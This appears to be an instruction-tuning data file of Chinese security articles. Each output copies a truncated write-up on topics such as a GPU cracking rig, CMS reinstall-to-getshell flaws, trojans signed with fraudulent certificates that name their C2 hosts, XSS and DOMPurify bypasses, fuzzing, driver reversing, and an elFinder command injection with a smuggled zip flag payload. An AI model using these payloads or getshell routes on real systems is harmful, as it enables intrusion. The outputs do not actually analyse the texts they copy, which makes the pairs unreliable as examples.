Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 【技术分享】手把手教你搭建一台GPU密码破解工作站
|
##### 译文声明
本文是翻译文章，文章来源：netmux.com
原文地址：<http://www.netmux.com/blog/how-to-build-a-password-cracking-rig>
译文仅供参考，具体内容表达以及含义原文为准。
****
**为什么要搭建密码破解工作站**
为什么要搭建这样一台密码破解工作站？因为这是一件非常有成就感的事情。在这篇文章中，我将一步一步的向大家介绍如何用最少的预算搭建一台密码破解工作站，满足中小企业的业务需求，也算是一个非常中肯的解决方案。在搭建工作站的过程中，我遇到的最大的困难时在Ubuntu系统下正确安装Nvidia驱动程序，但是请各位读者不要担心，我已经将在安装Nvidia驱动的过程中遇到的问题详细记录了下来，在本文下部体现出来。如果你想根据本文介绍的技术搭建一台个人工作站，你只需要准备好5000美元的预算就够了，并且运算速度不亚于Sagitta's
Brutalis（<https://sagitta.pw/hardware/gpu-compute-nodes/brutalis/>）。需要的硬件设备、软件安装包都会在下文列出。
这个工作站将具备强大地运算速度，但是请不要过于震惊。它的组成部分可以让你以一个合理的价格，在任何地方非常容易的搭建一个塔式服务器。完整详尽的说明将在《hash
crack》第二版中介绍，但是现在你可以在Amazon上购买第一版（<http://a.co/0XFiGcQ>）。
**搭建此工作站的预算**
如何计算搭建这个密码破解工作站的预算呢？这个预算价格5000美元的工作站主要面向人群为中小型企业、密码破解爱好者。我知道这个价格可能超出了很多爱好者的承受范围，但是你阅读完本教程后仍然会有很多收获。我想创建一个性能较好的工作站，可以破解常见的哈希类型，并且如果我们有一个完善的密码计划，我们可以在一个星期内完成常见的破解任务。
**部分硬件设备** **价格清单**
1 x SuperMicro SYS-7048GR-TR 4U Server with X10DRG-Q 主板 = $1,989.99 (NewEgg)
2 x Intel Xeon E5-2620 v3 2.4 GHz LGA 2011-3 85W = $469.98 (Ebay)
4 x Nvidia GTX 1070 Founders Edition = $1,737.14 (Jet.com)
2 x Samsung 850 Pro 512GB SATA3 SSD = $412.24 (Jet.com)
4 x Kingston Server ValueRAM DDR4 2133MHz 16GB = $391.96 (NewEgg)
总计 = $5001.31（包括快递的运费、手续费等）
**
**
**硬件设备的安装**
让我们看一下Supermicro 7048GR-TR主板的插槽数量及机箱内的空间。有充足的位置插入内存条、多个热插拔驱动器托架、双CPU、4个GPU同时还包括6个风扇和2个为CPU准备的额外的散热风扇。
此外，我们还需要一个带有VGA接口的外部显示器来完成操作系统及其它所需软件的安装配置。
首先第一步需要更换驱动器托盘（drive caddy
trays）以适应上述列表中的SSD硬盘（我没有将这个驱动器托盘的价格算在总的预算中，因为如果你不介意它的加载速度慢一些的话，我们完全可以使用传统的硬件驱动，事实上这个驱动器的价格在Amazon上仅售11美元<http://a.co/d8Jo9H8>），组装完成后，将它们划入前面的驱动器托架中。
接下来我们将安装Intel Xeon CPU（我这里使用的是Xeon E5 2620 v3系列的CPU，因为当我在选购的时候刚好Ebay上有一些折扣）
双CPU安装完成
接下来，我们将要安装4个16GB的内存条，因为一旦我们在CPU上安装了散热器的话，由于机箱内空间有限，再安装内存条将会变得非常困难。
现在我们必须换掉包括的散热器支架，以适应这块主板。幸运的是，散热器、底座和风扇都包含在Supermicro 7048GR-TR包装盒中。还要注意的是，散热器已经均匀涂覆硅脂。
将它们拧紧到位，但不要太紧，以防弄坏了电路板。
现在我们需要安装散热风扇，这也包括在Supermicro 7048GR-TR的包装盒中。
将风扇插入每个CPU插槽旁边的插口，但请确保在插入电源之前按照下图所示将导线缠绕在风扇周围。
现在让我们把目光聚焦在重要的事情上，我们需要移除横跨4个PCI-E 3.0插槽的背板。否则的话就没有安装4个GTX 1070 GPU的位置。
现在开始安装第一个...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

在源码之家发现这样一套源码<http://guangzhou.mycodes.net/201410/3gcms2.0.rar>
首先对框架目录大致了解一下。源码采用thinkphp2.1框架编写。
看了下网上公开的thinkphp的命令执行漏洞[size=;font-size:10.5000pt,10.5000pt]
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e',
'$var[\'\1\']=\'\2\';', implode($depr,$paths));
这里已经被修复了，按照这个原理搜索文件
发现在\Core\Mode\Lite目录下的Dispatcher.class.php代码存在执行漏洞，但是本程序并没有开启lite模式。无法利用
查看install.php文件看到$lock_file = dirname( **FILE** ).'/install.lck';
定义了防重复安装的文件，但是在下面并没有判断该文件。 导致重装漏洞。
下面的思路很明确了 。
重装进后台然后getshell
黑盒看了下后台，在后台模版处是可以修改模板后缀名的。。导致getshell
有兴趣的可以跟上继续，如果我挖到新洞还会继续接着发


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 风云再起，签名冒用引发信任危机
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近期，360核心安全团队独家监测到“签名冒用”的新动向，颁发机构除了之前披露的Go Daddy和Starfield
Secure两家，知名的老牌CA厂商赛门铁克、Verisign和DigiCert也相继沦陷。而被冒名顶替的签名主体都是一些大家耳熟能详的公司，例如北京方正、中望CAD、数码大方、京东、恒生电子、IBM等等，被签名的程序也是五花八门，从捆绑木马的常用软件，到团伙之间互相对抗的模块（黑吃黑），再到如今诱导安装的钓鱼远控，几乎囊括了国内软件黑产链上的所有环节。它们赖以生存的护身法宝就是这些知名公司的数字签名，但是实际上这些被假冒签名的知名公司可能都毫不知情，名头太大反而无端躺枪，真假美猴王再次上演一波大型的信任危机。
## 事件回顾
下图是数字签名冒用的对抗史，360对此类攻击事件进行持续对抗并率先全面查杀。
对“签名冒用”这类攻击方式的历史事件进行回顾：
2016年8月份，360首次发现了冒用知名公司“美图”、“暴风影音”等数字签名的木马并发布了披露报告。
2016年9月份，360监测到更多知名的公司如“浙江翼信”、“可牛”等签名被用于签发大量诱导性木马在外传播。
2017年8月份，360持续监控和追踪冒用知名游戏公司“竞技世界”、“上海天游”等签名的私服程序通过大量的网站捆绑分发，用来劫持网络流量。
2018年7月份，360再次独家发现使用新颁发机构进行签名冒用的远控木马程序通过钓鱼网站进行传播。
## 数据统计
从历史攻击事件的回顾中可以看出，该类攻击从未停止并且在不断的变化升级。今年，数字签名冒用再度爆发，木马团伙为躲避监控特意更换了签名颁发机构。以下是360监测该类攻击样本的传播数量统计，累计总量已经上万，分别在2017年3月份和2018年3月份有两波较为明显的增幅。
从数字签名的维度上看，事件最开始是由Go
Daddy签发“美图”、“暴风”、“酷我”、“京东”等多家知名公司的数字证书，该颁发机构签发的“假”证书也是占比最大。后来发现知名颁发机构“赛门铁克”也开始出现冒用的签名，典型的有冒用“恒生电子”公司签发私服劫持程序。直到今年，再次发现美国老牌的CA机构“DigiCert”也开始沦陷，由签名冒用引发的信任危机再度爆发。
## 案例分析
以今年最新冒用签发的木马为例对本次事件进行分析。作案团伙传播木马的方式有很多，比如常见的有通过IM工具发送给受骗者诱导其运行，或者通过钓鱼网站来诱骗浏览者运行木马，本文以后者为例。
以下是木马作者精心制作的一个电子产品相关的信息网站首页，访问该页面后会直接弹出新建下载任务的提示。
考虑到上面的弹窗失败率可能会比较高，于是木马作者对该网站进一步改造，当访问者想要查看具体的产品信息页面时，故意在页面上不显示产品图片，反而弹出以下诱导信息：
如果此时还不上当，就再诱导一次用户直接弹出下载框，并且后续每点击一个产品页面都将重复运行以下代码：
既然最终的诱导都希望我们下载这个所谓的“图片显示驱动”程序，我们就来看看它的真面目吧。下载后发现该程序具有正常的数字签名，签名的主体是知名互联网公司“北京数码大方科技”（CAXA
Technology CO.,LTD.）。这里需要注意的是，此数字签名并非该公司的官方签名，而是冒用了该公司信息从其他颁发机构（“DigiCert
CA”）申请而来的，非常具有欺骗性。
分析下载的“图片显示驱动”程序，该样本实际上是个木马“下载者”程序，运行后将连接远程服务器下载木马模块。连接的服务器地址为“www.yiwotech.cn:443”：
接着程序将自身文件名和哈希值等信息加密后回传服务器，只有当服务器验证成功后才会返回木马模块的下载地址，进一步下载执行后，木马模块将在“C:\Windows\Appp”目录下释放并启动两个程序：ScLauncher.exe和TIM.EXE。这两个程序实际上是一组常见的“白利用”木马模块，ScLauncher.exe是正常的QQ官方启动程序，本身没有任何恶意代码；然而运行该程序后没有经过验证将直接启动同目录下的木马模块TIM.EXE，该模块会启动一个wextract.exe作为傀儡进程来运行远控木马，整个进程链启动关系如下所示：
在木马模块TIM.EXE启动傀儡进程wextract.exe时将远控木马模块从内存中dump出来进行分析，该模块是一个加了压缩壳的EXE可执行程序，调试运行后可以看到其直接连接远程控制服务器“tong.jinjingltsh.top:2018”：
最后进入接收指令的流程执行远程控制命令，包括常见的开启远程桌面、下载执行任意程序等功能，至此作案团伙可远程随意操控受害用户...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Xss挑战赛 - L3m0n writeup
    XSS#01. Mannix,L3m0n,Aegis,xq17,nearg1e,mogujie@蘑菇街,evi1m0,w4f05,phantom0301,blackwolf
    XSS#02. L3m0n,mogujie@蘑菇街,Aegis,evil7,PKAV
    XSS#03. L3m0n,mogujie@蘑菇街,Mazing
    XSS#04. zusheng,feiyu,Mannix,Evi14ui,L3m0n,V@1n3R,Scriptkid,xq17,Mathias,mogujie@蘑菇街,evi1m0,nearg1e,Mazing,Aegis,maya66,w4f05,RickyHao,DK,phantom0301
    XSS#05. evi1m0,zusheng,xq17,V@1n3R,riverheart(河流之心),L3m0n,Mathias,phantom0301
    XSS#06. Flyin9(数据流),xq17,kingdom017,L3m0n,evi1m0,evil7,Mathias,DK,Scriptkid,Aegis,phantom0301,blackwolf
    XSS#07. evi1m0,MagicBlue,L3m0n,riverheart(河流之心),xq17,Aegis,PKAV,RickyHao,Mathias
    XSS#08. PKAV,L3m0n
    XSS#09. L3m0n
    XSS#10. evi1m0,z0z,L3m0n,riverheart(河流之心),xq17,nearg1e,Mathias,phantom0301,Ox9A82
    XSS#11. L3m0n,nearg1e,evi1m0,RickyHao,Mathias
    XSS#12. L3m0n,Mathias,PKAV,phantom0301
    XSS#13. nearg1e,Mannix,p4ny,Scriptkid,xq17,L3m0n,Mathias,evi1m0,mogujie@蘑菇街,DK,maya66,wps2015,RickyHao,Aegis,riverheart(河流之心),PKAV,phantom0301,w4f05
    XSS#14. Mannix,Scriptkid,z0z,evi1m0,xq17,Evi14ui,p4ny,L3m0n,V@1n3R,feiyu,朽木,秋风,Mazing,raul17,Mathias,mogujie@蘑菇街,L1p,TaeJa,DK,omego,gethin,w4f05,小毒物,wps2015,RickyHao,Aegis,update,PKAV,blackwolf,nearg1e,ding13,phantom0301
    XSS#15. PKAV,L3m0n,evi1m0,Mathias
    XSS#16. L3m0n,riverheart(河流之心),xq17,Mannix,feiyu,evi1m0,PKAV,Mathias,RickyHao
    XSS#17. L3m0n,evi1m0,mogujie@蘑菇街,Mathias,nearg1e,Scriptkid,Aegis,仲ma,p4ny,DK,xq17,wps2015,evil7,PKAV,blackwol,Evi14ui,phantom0301,Ox9A82
    XSS#18. L3m0n,PKAV,evi1m0,xq17
    XSS#19. 落
    XSS#20. evil7,evi1m0
    番外篇#01. 落
### 0\. 说明
玩了挺久的一个挑战，整个过程中被虐到变形，感谢M师傅的小课堂，学习到很多新姿势.
**Writeup中的ref为M师傅出题的参考链接**
* * *
M师傅语录:
题目很多围绕着security header来出题，希望开发者重视这些问题，在防御上，正确的设置下面的值，是能够避免很多问题.
content-type、x-xss-protection、x-frame-options、x-content-type-options
* * *
挑战地址暂时关闭，后期会放出源代码
题目要求:
所有XSS题目均可以通过让受害者访问特定的链接或页面的方式在受害者的浏览器&当前域下执行JavaScript。
有些题目可能需要在特定的浏览器下完成。浏览器版本以Chrome60,Firefox55,Safari10,IE11,Edge40或更新版本为准。
POC通过验证后我会把你的id添加到解题成功者的列表里。H...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

原文地址：<http://blog.adm1nkyj.kr>
译者：欧巴@知道创宇404实验室
#### 简介
Gnuboard是韩国Sir公司开发一套PHP+Mysql CMS程序。
本身数据结构简单，可扩展性能强，程序运行代码与皮肤文件分离，可扩展数据字段多，可以进行多种功能转变，简单安装就可以作为BBS告示板使用，也可以下载皮肤插件变成
综合网站，地方信息，购物，人才市场，物品交易网站。
#### Gnuboard stored xss
之前记录的一个漏洞，漏洞触发点比较有趣，而且威胁也大，所以就发到博客。
首先看一下 index.php代码
    <div style="float:left;<?php echo $lt_style ?>">
        <?php
        // 이 함수가 바로 최신글을 추출하는 역할을 합니다.
        // 사용방법 : latest(스킨, 게시판아이디, 출력라인, 글자수);
        // 테마의 스킨을 사용하려면 theme/basic 과 같이 지정
        echo latest("basic", $row['bo_table'], 5, 25);
        ?>
    </div>
用`latest`过滤之后echo输出，如果是以前，就会跳过这个漏洞点，但是因为缺钱，所以跟了一下代码。
跟一下`lib/latest.lib.php`文件
    if(G5_USE_CACHE) {
        $cache_file = G5_DATA_PATH."/cache/latest-{$bo_table}-{$skin_dir}-{$rows}-{$subject_len}.php";
        if(!file_exists($cache_file)) {
            $cache_fwrite = true;
        } else {
            if($cache_time > 0) {
                $filetime = filemtime($cache_file);
                if($filetime && $filetime < (G5_SERVER_TIME - 3600 * $cache_time)) {
                    @unlink($cache_file);
                    $cache_fwrite = true;
                }
            }
            if(!$cache_fwrite)
                include($cache_file);
        }
    }
    if(!G5_USE_CACHE || $cache_fwrite) {
        $list = array();
        $sql = " select * from {$g5['board_table']} where bo_table = '{$bo_table}' ";
        $board = sql_fetch($sql);
        $bo_subject = get_text($board['bo_subject']);
        $tmp_write_table = $g5['write_prefix'] . $bo_table; // 게시판 테이블 전체이름
        $sql = " select * from {$tmp_write_table} where wr_is_comment = 0 order by wr_num limit 0, {$rows} ";
        $result = sql_query($sql);
        for ($i=0; $row = sql_fetch_array($result); $i++) {
            $list[$i] = get_list($row, $board, $latest_skin_url, $subject_len);
        }
        if($cache_fwrite) {
            $handle = fopen($cache_file, 'w');
            $cache_content = "<?php\nif (!defined('_GNUBOARD_')) exit;\n\$bo_subject='".s...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#### Problem
 因为个人偏爱AFL，习惯用AFL做模糊测试，发现一些CVE，但是一直苦于AFL的工作方式，由于AFL只能够从stdin/file获取输入，变异。
而网络应用多是`socket`或者其他network相关的通信方式，而且默认情况下，afl每次都会重新启动程序，网络应用如server启动时间比较久，影响了模糊测试的效率。一般情况下，可以通过为特定的程序编写一个`harness`，用于fuzz程序的部分代码。但是这种方式首先需要你对源码有一定的理解，其次它的覆盖率比较低。
在网上学习发现这篇文章[how-fuzz-server-american-fuzzy-lop](https://www.fastly.com/blog/how-fuzz-server-american-fuzzy-lop)，方法与思维都很有学习应用的价值，翻译&应用后记录此文。
#### Solution: Persistent mode
AFL的工作模式与模糊测试的主循环一致：创建新的进程，提供一个case，然后监视直到进程结束，再重复...
为了避免`execve`的开销和链接等时间消耗，AFL引入了`forkserver`机制，新的进程`fork`得到，由于`copy-on-write`机制，提高了性能。
但即使如此，每次新的fuzz的不同case输入仍然会引入`fork`的开销。
对于很多测试目标，连续的`fork`和`initalization`的过程是一个代价较高的过程。在很多情况下，API是没有状态的，或者可以被重置为接近原始状态的，因此至少在一次进程结束后可以不用抛弃该进程。这就是
**进程内模糊测试** 的概念：在该方案下，测试用例是进程内部生成，并以自定义编写单进程循环的形式反馈到待测试的底层API。 **进程内模糊测试**
能够提高模糊测试效率在10x左右，但是也是有代价的：例如，它很容易由于测试代码中存在的内存泄漏或者Dos而失败。
自afl-1.81b始，afl-fuzz提供了一种`persistent`模式——将 **进程内模糊测试** 与更传统的多进程工具的强大功能结合起来。
在该模式下，afl将测试用例喂给一个单独的、存活时间长的进程，该进程读取输入，将其传递给待fuzz的API，并通过终止本进程通知fuzzer测试成功运行。最终当父进程恢复时，自定义的进程循环回到起点。只需要写一个极简的`harness`完成这样一个循环，AFL会完成细节，如crash检查。
一个简单的`harness`样例
    int main(int argc, char** argv) {
      while (__AFL_LOOP(1000)) {
        /* Reset state. */
        memset(buf, 0, 100);
        /* Read input data. */
        read(0, buf, 100);
        /* Parse it in some vulnerable way. You'd normally call a library here. */
        if (buf[0] != 'p') puts("error 1"); else
        if (buf[1] != 'w') puts("error 2"); else
        if (buf[2] != 'n') puts("error 3"); else
          abort();
      }
    }
`Persisten`模式只需要控制以下两点
1、AFL何时fork目标进程
2、AFL何时提供新的测试样例。
3、每一轮循环开始需要重置目标进程状态，否则找到的bug可能是`harness`的而不是目标程序的。
#### Persisten mode & server
大部分server实现时都会在处理client的请求后重置状态，通常，一个server的实现如下
    while(go):
        req = get_request()
        process(req)
为了使用AFL `persistent`模式，只需要如下修改程序
    while(go):
        put_request(read(file))                 //AFL
        req = get_request()
        process(req)
        notify_fuzzer()                         // AFL
#### Applying the t...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Windows内核驱动程序静态逆向工程的方法论
|
##### 译文声明
本文是翻译文章，文章原作者 specterops，文章来源：posts.specterops.io
原文地址：<https://posts.specterops.io/methodology-for-static-reverse-engineering-of-windows-kernel-drivers-3115b2efed83>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
多年来，许多恶意组织纷纷致力于针对Windows内核模式软件驱动程序进行攻击，特别是针对第三方发布的驱动程序开展攻击。在这些漏洞中，一个比较常见和有据可查的就是CAPCOM.sys任意函数执行、Win32k.sys本地特权提升以及EternalBlue池损坏漏洞。攻击者在驱动程序中得到了一些新的攻击维度，无论是通过传统的漏洞利用原语，还是滥用合法的驱动程序功能，这些都无法在用户模式中实现。
随着Windows安全性的不断发展，研究内核模式驱动程序中的漏洞利用对于我们的攻防技术而言变得越来越重要。为了辅助分析这些漏洞，我认为比较重要的一件事是，我们需要在研究中探寻内核漏洞，并找到一些值得关注并且可以滥用的功能。
在本文中，我将首先介绍驱动程序的工作原理，说明所需的先验知识，随后将进入反汇编领域，逐步查找潜在的易受攻击的内部函数。
我们的分析过程将尽量将复杂的问题简单化，因此在文章中可能会包含指向其他资源的一些链接，希望各位读者按需参考。
## 目标识别与选择
通常情况下，我们要首先分析的，就是基础工作站和服务器映像上到底加载了哪些驱动程序。如果我们能在这些核心驱动程序中发现漏洞，那么其影响将会比较广泛。同时，这也在对抗过程中带来了一个好处，也就是不需要再投放和加载新的驱动程序，从而降低被发现的概率。为此，我将手动查看注册表中的驱动程序（HKLMSystemControlSetServices，其中Type为0x1，ImagePath包含*.sys的条目），或使用类似于DriverQuery的工具通过C2来运行。
在选择目标时，我们需要考虑综合因素，因为没有某一种特定类型的驱动程序是比较容易受到攻击的。尽管如此，但我们倾向于将目标放在由安全厂商发布的驱动程序、由主板厂商发布的任何内容以及性能监控软件。并且，我们倾向于忽略掉微软的驱动程序，因为我们通常没有太多的时间对其进行深入研究。
## 二、驱动内部原理分析
如果大家以前没有开发过内核模式软件驱动程序，那么可能会发现，它看起来要比实际复杂得多。在开始进行逆向之前，必须首先了解三个重要概念————DriverEntry、IRP
Handler和IOCTL。
###  2.1 DriverEntry
与C/C++语言中的main()函数非常相似，驱动程序必须指定入口点DriverEntry。
DriverEntry要负责很多工作，例如创建设备对象、创建用于与驱动程序和核心函数（IRP Handler、卸载函数、回调例程等）进行通信的符号链接。
DriverEntry首先使用到`IoCreateDevice()`或`IoCreateDeviceSecure()`的调用来创建设备对象，后者通常用于将安全描述符应用于设备对象，以限制对本地管理员和NT
AUTHORITYSYSTEM的访问。
接下来，`DriveEntry`将`IoCreateSymbolicLink()`与先前创建的设备对象一起使用，以建立符号链接，该链接将允许用户模式进程与驱动程序进行通信。
其代码如下：
    NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
        UNREFERENCED_PARAMETER(RegistryPath);
        NTSTATUS status;
        // Create the device object
        UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\Device\MyDevice");
        PDEVICE_OBJECT DeviceObject;
        NTSTATUS status = IoCreateDevice(DriverObject, 0, &devName, FILE_DEVICE_UNKNOWN, 0, FALSE, &DeviceObject);
        if (!NT_SUCCESS(status)) {
            KdPrint...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## 前言
最近渗透测试某站点的时候触发了一个报错，然后发现了站点使用的CMS，百度了一下是一个国产开源的企业级CMS。从官网拉下来审了一下，再此记录一下
## 入口
下面是index.php入口文件
    <?php
    if( !file_exists(dirname(__FILE__) . "/include/config.db.php") )
    {
        header("Location:install/index.php");
        exit();
    }
    require_once( "include/common.inc.php" );
    $mod = str_replace( '../', '', $mod );
    if( empty( $mod ) )
    {
        $mod = 'index';
    }
    $action_file = WEB_INCLUDE . '/action/' . $mod . '.php';
    file_exists($action_file) && require_once($action_file);
    $cls_tpl = cls_app:: get_template( $mod );
    $cls_tpl->display();
    ?>
很常见的cms入口形式，但是可以注意到第八行将../替换为空，这里怀疑会不会存在目录穿越，可以采用..././这样的形式来穿越到上一层。但是第15行限制了后缀必须为php，且由于前缀也被限制于是不能使用zip伪协议拿shell，如果php版本为5.2可以采用00截断包含任意文件，这里暂时卡住，继续审计，第2行应该为配置文件略过，跟进第7行的common.inc.php
common.inc.php开头先定义了许多常量，然后更改了一些php配置，接着又引入了两个文件，跟进发现配置了一些变量，先不管，继续向下审计common.inc.php
    <?php
    $req_data = array();
    foreach( array('_GET', '_POST', '_COOKIE') as $_request )
    {
        foreach( $$_request as $_k => $_v )
        {
            ${$_k} = _get_request($_v);
            if( '_COOKIE' != $_request )
            {
                $req_data[$_k] = _get_request($_v);
            }
        }
    }
    unset($_GET, $_POST);
    ?>
上面代码可以很明显的发现，cms把$_GET,$_POST,$_COOKIE注册为了全局变量。所以之后可能存在变量覆盖，之后的代码引入了全局函数和全局类。这时候CMS入口以审计结束，可以开始审计函数和类
## 重安装漏洞（Getshell）
由于安装文件一般是漏洞的重灾地，于是这里直接跳到了安装文件，果然找到了漏洞点。
在install_action.php中，安装完成后会把前端文件重命名，但是后端逻辑文件依旧存在，所以如果知道安装文件位置即可重安装
    <?php
    function install_end()
    {
        //安装收尾
        //把安装文件的名字换了
        @rename('index.php', 'index.php_bak');
    }
这里只重命名了前端文件
而且在文件280行，存在写文件操作，文件名为php且文件内容可控
    <?php
    $db_tablepre = $_POST['tablepre'];
    write_db_config($db_type, $db_host, $db_name, $db_pass, $db_table, $db_tablepre);
    function write_db_config($db_type, $db_host, $db_name, $db_pass, $db_table, $db_tablepre)
    {
        //写入数据库配置
        global $db_code;
        $db_config = "";
        $db_config .= "<?php\n\n";
   ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 使用jQuery绕过DOMPurify
Auther: \u2400@Syclover
# 前言
由于jQuery的 `jQuery.fn.html()` 函数 和 `document.innerHTML()` 函数对于html渲染的差异, 从而导致
DOMPurify库在默认配置下使用jQuery库可能导致XSS (官方文档已经指出了这一点), 在这里通过jQuery库的源码来分析为何
`jQuery.fn.html()` 函数用于html渲染时可能与别的方式产生差异.
jQuery源码较为复杂, 阅读起来部分代码的含义仍然不能完全理解,限于水平, 文章中错漏片面之处在所难免, 望各位师傅们批评指正.
# jQuery.fn.html()函数源码分析
分析html函数自然先从html函数的源码入手, 里面是access函数的调用, 代码如下
jQuery.fn.html:
    html: function( value ) {
            return access( this, function( value ) {
                var elem = this[ 0 ] || {},
          //... 与分析无关的代码, 例如不会进入的if, 不会使用的变量等, 在这里使用这种方式代替
                if ( elem ) {
            //这里先通过empty清空原先的element, 再通过append添加新的html
                    this.empty().append( value );
                }
            }, null, value, arguments.length );
        }
如果使用静态调试, 会首先进入 `access()` 函数, 但是里面的内容与我们无关, 所以直接阅读回掉函数的代码, function传入的参数
`value` 就是我们在 `$("xxx").html(<value>)` 在这里输入的value
这里首先会进入 `this.empty()` 函数跟入查看函数的逻辑
JQuery.fn.empty
    empty: function() {
            var elem,
                i = 0;
            for ( ; ( elem = this[ i ] ) != null; i++ ) {
                if ( elem.nodeType === 1 ) {
                    // Prevent memory leaks
                    jQuery.cleanData( getAll( elem, false ) );
                    // Remove any remaining nodes
                    elem.textContent = "";
                }
            }
            return this;
        }
函数逻辑并不复杂, 大体的意思是删除节点中所有的子节点, 和所关联的事件接听器, 由于和主题关联不大所以函数不再具体跟入, 关键在于15行 `return
this` 这里返回了当前函数的上下文, 这里的上下文就是 `$("xxx").html(<value>)` 中的这个 `xxx` 也就是说
`append()` 接受了当前的上下文继续执行, 那么继续跟入 `append()` 函数
jQuery.fn.append
    append: function() {
            return domManip( this, arguments, function( elem ) {
                if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
                    var target = manipulationTarget( this, elem );
                    target.appendChild( elem );
                }
            } );
        },
append函数较为简短, 这里占据了大量篇幅的这个回...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 简介
elFinder 是一个开源的 web 文件管理器，使用 jQuery UI 用 JavaScript 编写。Creation 的灵感来自于 Mac
OS X 操作系统中使用的 Finder 程序的简单性和便利性。
# 漏洞描述
该漏洞源于,在创建新的zip存档时，没有对`name`参数进行严格的过滤，导致参数被带入`prox_open`中执行，造成命令注入
# 影响版本
`elFinder <= 2.1.58`
# 环境搭建
下载地址：
<https://github.com/Studio-42/elFinder>
下载完成后，重命名`/php/connector.minimal.php-dist`为`/php/connector.minimal.php`
然后在浏览器中加载运行`/elfinder.src.html`即可
# 漏洞分析
源码地址：
<https://github.com/Studio-42/elFinder/releases/tag/2.1.58>
得知是通过存档功能，传递`name`参数造成命令注入，然后进行抓包
可以看出是在`connector.minimal.php`文件中进行操作
在`connector.minimal.php`文件中发现，包含文件`autoload.php`
在`autoload.php`中，不确定在那个文件，不过通过名字大概率可以在`elFinderVolumeLocalFileSystem.class.php`和`elFinder.class.php`中可以找到
先进入`elFinderVolumeLocalFileSystem.class.php`中，通过抓包得知`cmd=archive`，可能有archive函数
发现果然有，跟进`makeArchive`函数
可以看出参数确实是传到`makeArchive`，但是不是通过`_archive`传进来的
接下来在`elFinder.class.php`中尝试
先对name参数进行isset判断，然后传入`archive`函数中，继续跟进
`$name`先进行了正则转换后进行了字符串替换，然后先传入到`uniqueName`中，后传入到`remoteArchive`中，先跟进到`uniqueName`中
可以看出是对`$name`进行了一些转换替换，最后返回`$name`值
接下来返回上一步，跟进到`remoteArchive`中
看见参数传入到`makeArchive`函数中，继续跟进
到这里参数通过`escapeshellarg()`进行转义，然后拼接其它参数赋值给`$cmd`，然后进入到`procExec`函数中
可以看见`$cmd`被作为参数，放入到`proc_open`中执行命令
`proc_open`命令详解如下：
自此整个流程分析完成，虽然中间对参数进行了正则和替换的过滤操作，但是因为程序会将`name`参数值解析为标志（`--foo=bar`），可以通过`zip`的`-TT`指定要运行的测试命令，如：`-TmTT="$(id>out.txt)foooo"`
通过测试得到，参数在传入到`proc_open`中执行命令前，其值为`"zip -r9 -q 'a1.zip'
'./a.zip'"`，所以我们可以构造成以下命令`"zip -r9 -q '-TmTT="$(id>out.txt)foooo".zip'
'./a.txt'"`，执行`id`命令并将结果输出到`out.txt`中
# 参考链接
  1. <https://github.com/Studio-42/elFinder/commit/a106c350b7dfe666a81d6b576816db9fe0899b17>
  2. <https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities>
  3. <https://packetstormsecurity.com/files/164173/elfinder_archive_cmd_injection.rb.txt>


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/LW0wFoKQqT9H8LweLE2mfA>**
## WebSphere简介
WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web
应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施，如服务器、服务和工具。WebSphere 提供了可靠、灵活和健壮的软件。
WebSphere Application Server 是该设施的基础，其他所有产品都在它之上运行。WebSphere Process Server 基于
WebSphere Application Server 和 WebSphere Enterprise Service
Bus，它为面向服务的[体系结构](https://baike.baidu.com/item/体系结构) (SOA)
的模块化应用程序提供了基础，并支持应用业务规则，以驱动支持业务流程的应用程序。高性能环境还使用 WebSphere Extended Deployment
作为其基础设施的一部分。其他 WebSphere 产品提供了广泛的其他服务。
WebSphere 是一个模块化的平台，基于业界支持的开放标准。可以通过受信任和持久的接口，将现有资产插入
WebSphere，可以继续扩展环境。WebSphere 可以在许多平台上运行，包括 Intel、Linux 和 z/OS。
WebSphere
是随需应变的电子商务时代的最主要的软件平台，可用于企业开发、部署和整合新一代的电子商务应用，如[B2B](https://baike.baidu.com/item/B2B)，并支持从简单的网页内容发布到企业级事务处理的商业应用。WebSphere
可以创建电子商务站点， 把应用扩展到联合的移动设备， 整合已有的应用并提供自动业务流程。
## WSDL简介
WSDL是一个用于精确描述Web服务的文档，WSDL文档是一个遵循WSDL-XML模式的XML文档。WSDL
文档将Web服务定义为服务访问点或端口的集合。在 WSDL
中，由于服务访问点和消息的抽象定义已从具体的服务部署或数据格式绑定中分离出来，因此可以对抽象定义进行再次使用。消息，指对交换数据的抽象描述；而端口类型，指操作的抽象集合。用于特定端口类型的具体协议和数据格式规范构成了可以再次使用的绑定。将Web访问地址与可再次使用的绑定相关联，可以定义一个端口，而端口的集合则定义为服务。
一个WSDL文档通常包含8个重要的元素，即definitions、types、import、message、portType、operation、binding、service元素。这些元素嵌套在definitions元素中，definitions是WSDL文档的根元素。
## 漏洞原理深度分析
网上最早披露的漏洞相关详情信息是在<https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere>此篇博文中进行讲解的。
根据文中的部分描述，此漏洞是由IIOP协议上的反序列化造成，所以我们本地需要起一个IIOP客户端来向WebSphere发送请求从而触发漏洞。
代码如下所示
    Hashtable env = new Hashtable();
    env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
